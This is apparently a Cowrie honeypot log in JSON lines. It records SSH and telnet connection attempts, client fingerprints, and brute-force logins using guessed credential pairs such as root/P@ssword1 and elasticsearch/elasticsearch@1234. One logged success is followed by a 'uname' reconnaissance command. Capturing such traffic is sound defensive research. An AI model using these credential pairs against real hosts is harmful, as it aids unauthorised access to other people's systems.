{"eventid":"cowrie.session.closed","duration":33.35197067260742,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:16.135899Z","src_ip":"213.136.75.179","session":"c430b38a168f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38930,"dst_ip":"10.17.0.5","dst_port":22,"session":"4885b8906184","protocol":"ssh","message":"New connection: 176.65.139.103:38930 (10.17.0.5:22) [session: 4885b8906184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:16.591517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:16.596535Z","src_ip":"176.65.139.103","session":"4885b8906184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:16.682994Z","src_ip":"176.65.139.103","session":"4885b8906184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:16.963561Z","src_ip":"176.65.139.103","session":"4885b8906184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.64084601402283,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:17.344544Z","src_ip":"213.136.75.179","session":"3a770c6b1102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:18.146472Z","src_ip":"176.65.139.103","session":"4885b8906184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.124337673187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:19.329354Z","src_ip":"159.223.86.167","session":"a0543b1b8096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777510166168213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:20.719269Z","src_ip":"213.136.75.179","session":"aba5dc7c09af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.949798583984375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:22.285479Z","src_ip":"213.136.75.179","session":"e79943b4e276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51132,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9baa73e21b8","protocol":"ssh","message":"New connection: 176.65.139.103:51132 (10.17.0.5:22) [session: f9baa73e21b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:23.733684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:23.743293Z","src_ip":"176.65.139.103","session":"f9baa73e21b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:23.818314Z","src_ip":"176.65.139.103","session":"f9baa73e21b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.013685703277588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:23.891185Z","src_ip":"213.136.75.179","session":"eb3a99a90026","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:24.167413Z","src_ip":"176.65.139.103","session":"f9baa73e21b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.054179191589355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:24.517657Z","src_ip":"159.223.86.167","session":"e4dafeba3f28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66922044754028,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:24.976542Z","src_ip":"213.136.75.179","session":"7aad3797455c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.020646572113037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:25.209771Z","src_ip":"159.223.86.167","session":"9257f1a20978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:25.258806Z","src_ip":"176.65.139.103","session":"f9baa73e21b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.377075910568237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:25.519762Z","src_ip":"213.136.75.179","session":"439e21110940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":60864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6882c74ecde","protocol":"telnet","message":"New connection: 213.136.75.179:60864 (10.17.0.5:23) [session: c6882c74ecde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:25.640497Z"}
{"eventid":"cowrie.session.closed","duration":33.996766567230225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:27.036434Z","src_ip":"213.136.75.179","session":"0d921d450ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":60870,"dst_ip":"10.17.0.5","dst_port":23,"session":"d299c797f5b0","protocol":"telnet","message":"New connection: 213.136.75.179:60870 (10.17.0.5:23) [session: d299c797f5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:27.496736Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53256,"dst_ip":"10.17.0.5","dst_port":23,"session":"d60d06ac25a5","protocol":"telnet","message":"New connection: 213.136.75.179:53256 (10.17.0.5:23) [session: d60d06ac25a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:29.710922Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51144,"dst_ip":"10.17.0.5","dst_port":22,"session":"31d158083484","protocol":"ssh","message":"New connection: 176.65.139.103:51144 (10.17.0.5:22) [session: 31d158083484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.332931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.338467Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.420893Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.701623Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.001548528671265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.896455Z","src_ip":"213.136.75.179","session":"3cfffa45fe69","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.944259Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:31.947026Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:32.078276Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:32.082389Z","src_ip":"176.65.139.103","session":"31d158083484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.732165336608887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:32.717153Z","src_ip":"213.136.75.179","session":"5fe5c17c708b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.983301401138306,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:32.877865Z","src_ip":"213.136.75.179","session":"75862cc11e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13439965248108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:34.796886Z","src_ip":"159.223.86.167","session":"5f213597f1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53258,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94d92cb0cfe","protocol":"telnet","message":"New connection: 213.136.75.179:53258 (10.17.0.5:23) [session: e94d92cb0cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:34.988685Z"}
{"eventid":"cowrie.session.closed","duration":31.375741720199585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:36.258013Z","src_ip":"159.223.86.167","session":"6302a21f5cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53134,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8cecc5dc084","protocol":"ssh","message":"New connection: 159.203.92.129:53134 (159.203.135.109:22) [session: e8cecc5dc084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:37.193602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:37.198543Z","src_ip":"159.203.92.129","session":"e8cecc5dc084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:37.203183Z","src_ip":"159.203.92.129","session":"e8cecc5dc084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"anonymous1","message":"login attempt [anonymous/anonymous1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:37.216453Z","src_ip":"159.203.92.129","session":"e8cecc5dc084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":53274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b6a2c6b7e0","protocol":"telnet","message":"New connection: 213.136.75.179:53274 (10.17.0.5:23) [session: d2b6a2c6b7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:37.265574Z"}
{"eventid":"cowrie.session.closed","duration":31.411089420318604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:37.329111Z","src_ip":"159.223.86.167","session":"c8b331933a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:38.253474Z","src_ip":"159.203.92.129","session":"e8cecc5dc084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54848,"dst_ip":"10.17.0.5","dst_port":22,"session":"5852d5440ad3","protocol":"ssh","message":"New connection: 176.65.139.103:54848 (10.17.0.5:22) [session: 5852d5440ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.212412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.218303Z","src_ip":"176.65.139.103","session":"5852d5440ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.148.245.234","src_port":65510,"dst_ip":"10.17.0.5","dst_port":23,"session":"05aaf54ff79a","protocol":"telnet","message":"New connection: 201.148.245.234:65510 (10.17.0.5:23) [session: 05aaf54ff79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.287200Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.301416Z","src_ip":"176.65.139.103","session":"5852d5440ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":37536,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa0fc2b59c0e","protocol":"telnet","message":"New connection: 213.136.75.179:37536 (10.17.0.5:23) [session: fa0fc2b59c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.313941Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":37564,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c756d36267","protocol":"telnet","message":"New connection: 213.136.75.179:37564 (10.17.0.5:23) [session: 25c756d36267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.462767Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.551277Z","src_ip":"176.65.139.103","session":"5852d5440ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42934,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e12005ab74b","protocol":"telnet","message":"New connection: 159.223.86.167:42934 (159.203.135.109:23) [session: 3e12005ab74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:39.735012Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:40.650367Z","src_ip":"176.65.139.103","session":"5852d5440ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":58972,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d23988288a","protocol":"telnet","message":"New connection: 155.117.234.131:58972 (10.17.0.5:23) [session: 75d23988288a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:44.112578Z"}
{"eventid":"cowrie.session.closed","duration":31.07789444923401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:44.183701Z","src_ip":"213.136.75.179","session":"1a4ad34a9116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11184597015381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:42:44.363009Z","src_ip":"213.136.75.179","session":"001abadc199c","protocol":"telnet"}
